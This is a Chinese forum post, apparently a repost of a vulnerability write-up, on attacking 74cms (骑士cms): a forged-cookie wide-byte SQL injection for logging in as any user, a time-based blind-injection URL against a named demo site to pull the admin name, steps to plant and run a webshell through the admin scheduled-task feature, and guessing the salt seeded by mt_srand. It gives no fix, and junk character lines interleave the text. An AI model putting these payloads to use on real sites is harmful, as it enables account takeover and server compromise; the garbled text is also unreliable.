骑士cms注入及后台拿shell

0x1 任意用户登录
4 e: Q9 h) h5 d8 D: E1 N, ~6 f
　　0x2 盲注
. Y8 U* Q* Z+ s/ Y# H% N- l
　　0x3 后台拿shell
5 M( Q# C( S% @1 e; k2 F- Q& o
　　0x4 随机函数问题
! w5 o' Q4 M4 {2 b8 @
) B4 r0 r9 ^8 r) P" G& Y　　详细说明：

　　0x1 任意用户登录
/ ~7 l0 @8 }2 D- y) R
4 G$ L1 _2 g% Z; u/ F　　user/login.php
! X  t1 K# W1 L5 r( F8 v6 Z
　　elseif((empty($_SESSION['uid']) || empty($_SESSION['username']) || empty($_SESSION['utype'])) && $_COOKIE['QS']['username'] && $_COOKIE['QS']['password'] && $_COOKIE['QS']['uid'])
$ ~) p( L* m* Y9 F; }* V
6 F5 E3 t9 S" H9 _* U2 l3 Y; @　　{

　　if(check_cookie($_COOKIE['QS']['username'],$_COOKIE['QS']['password']))
9 G9 O, s- @/ e& `% y  u( g
　　{

2 v% w0 C5 f2 D+ ?' t" C: }　　update_user_info($_COOKIE['QS']['uid'],false,false);

　　header("Location:".get_member_url($_SESSION['utype']));
1 y5 p8 S7 D' m# g5 a
5 w4 `' x# Y9 ]$ n3 D! @8 z　　}

0 z& b! N$ K  ~% N) _　　else
* h4 _4 i5 Z- c" v3 G2 {; s( t
  a: k1 k. m9 ^& x* m　　{
# P% _( }1 H# E
9 x* q+ n; k  X! S, Z3 ?4 w' f　　unset($_SESSION['uid'],$_SESSION['username'],$_SESSION['utype'],$_SESSION['uqqid'],$_SESSION['activate_username'],$_SESSION['activate_email'],$_SESSION["openid"]);
# j' ^9 L# V' z/ ^2 @" f+ @+ N
. d* W, H2 I# e; s; H8 E# O* {　　setcookie("QS[uid]","",time() - 3600,$QS_cookiepath, $QS_cookiedomain);

　　setcookie('QS[username]',"", time() - 3600,$QS_cookiepath, $QS_cookiedomain);

　　setcookie('QS[password]',"", time() - 3600,$QS_cookiepath, $QS_cookiedomain);
* A% L( y5 V6 G* Z! Z
　　setcookie("QS[utype]","",time() - 3600,$QS_cookiepath, $QS_cookiedomain);
1 C/ P( g1 k; A( H
: W1 Y3 k& s1 R, E4 j, |1 L2 {　　header("Location:".url_rewrite('QS_login'));

8 x+ H7 S+ e$ g5 T. S* n; @　　}

1 S. f* {; |+ j) O" l4 Q2 }　　}
, x( K1 a3 h" _" ^7 p
# a2 h2 m2 {; H7 w  f　　include/fun_user.php

　　//检测COOKIE

　　function check_cookie($name,$pwd){
$ k0 u; i, ^3 r! t6 J/ `& A; {. _
　　global $db;
6 I* o7 i" L: U6 t
　　$row = $db->getone("SELECT COUNT(*) AS num FROM ".table('members')." WHERE username='{$name}' and password = '{$pwd}'");

　　if($row['num'] > 0)

2 `; q, e! E' ]' c- C. o7 j* |* t　　{

　　return true;
( I9 L0 i3 h( z& B* t# L8 J+ z
　　}else{
8 Y3 d* U( b" U8 s* B5 E+ W
8 D4 j0 h& A$ V　　return false;
9 M, L9 h+ u/ p) p# k1 C  H3 y
$ Q$ J. h* j- r; c　　}

　　}
& I+ J- z3 s  Y' ~% Y3 O$ ^6 f
/ ^; a2 l+ j% P* O　　构造cookie如下

　　QS[uid] 2
# Q8 O2 a% P/ [$ T( O% ?  U
' f0 J; o8 \  D' i+ e8 K& C　　QS[utype] 1

　　QS[password] 111111111111111111111

　　QS[username]%bf%27 or 1=1 %23

% q' P" l1 O8 N. C+ b　　uid 为假冒用户的ID utype为用户类型password任意
9 j6 k5 l2 u7 j1 Z
9 r* |; c& `, d0 b　　0x2 盲注

　　http://demo32.74cms.com//resume/resume-list.php?key=test00%bf')/**/and+if((select/**/admin_name/**/from/**/qs_admin/**/limit/**/0,1)=0x61646D696E,benchmark(1000000000,(select/**/1)),1)/**/%23

1 ?9 x6 F) u) s$ T　　上面两个都是宽字节注入,如果你能猜出管理员密码，还能解出双重md5的话，还能猜出后台路径，继续看下面

　　0x3 后台拿shell

　　1.先关闭csrf防御功能

& X; V$ A# o6 R' [　　2.在hr工具箱中添加一个伪造的doc，内容为，记下路径data/hrtools/2012/06/1339941553308.doc

　　3.在工具-计划任务中添加任务，脚本任务填../../data/hrtools/2012/06/1339941553308.doc
7 @5 x# x+ K5 D- r# a3 K  A
　　4.然后执行

　　0x4 随机函数问题(几乎可以无视，纯属个人YY)

　　在admin_common.fun.inc.php中有个$QS_pwdhash是在安装的时候赋值的，只要能猜出就可已不用解双重md5了。

　　这个$QS_pwdhash是由randstr生成
( m3 k! _: B: [+ [! g
; y; p: J$ t% P, g' c　　function randstr($length=6)
  B6 k& Q2 ~! R1 r! v* T) P: b
　　{
0 o4 B4 R3 D% |) q
　　$hash='';
1 R1 }1 b! J; z: n( Y+ D( `1 h
3 U# v$ a. T5 A# Q; G0 l0 W　　$chars= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz@#!~?:-=';
1 H; T5 j% m+ ~
　　$max=strlen($chars)-1;
/ Y$ E2 \1 g, i3 m' M
　　mt_srand((double)microtime()*1000000);
7 Y- S" @. s9 l% [5 S$ X
4 O: M9 D; Y2 `( W　　for($i=0;$i<$length;$i++) {

　　$hash.=$chars[mt_rand(0,$max)];
9 ^6 |2 ~8 U& j! h1 ~5 N) z
　　}
! l$ p7 ]3 E- W
　　return $hash;
( i+ T# {1 v: I% w# u9 S
! R4 J- F! C: L, g  Z$ h　　}
( b. O4 K1 `! @7 G- i& W
　　生成长度为6的随机数，mt_srand()播种一样，就会得到一样的随机数，所以我们最多要猜1000000次就可以了(蛋疼)
- @# Q4 V) f! }) t1 }" @7 }/ K
　　漏洞证明：
/ p2 }7 b2 P( i4 m
: D9 U3 v" D/ j3 Y0 N$ N* K　　修复方案：
6 O- y) [' ]- d0 c- w
, i/ r& @# t" {2 K0 _　　do it yourself~

解决一切网站安全，湖盟云防火墙：hnhack.com

学习到了，之前一直没注意过这个点，受教了

刚好遇到类似问题，看完这个帖子心里有底了

说得很实在，没有夸大其词，这种真实分享太难得了

这个思路很新颖，打开了新世界的大门，谢谢分享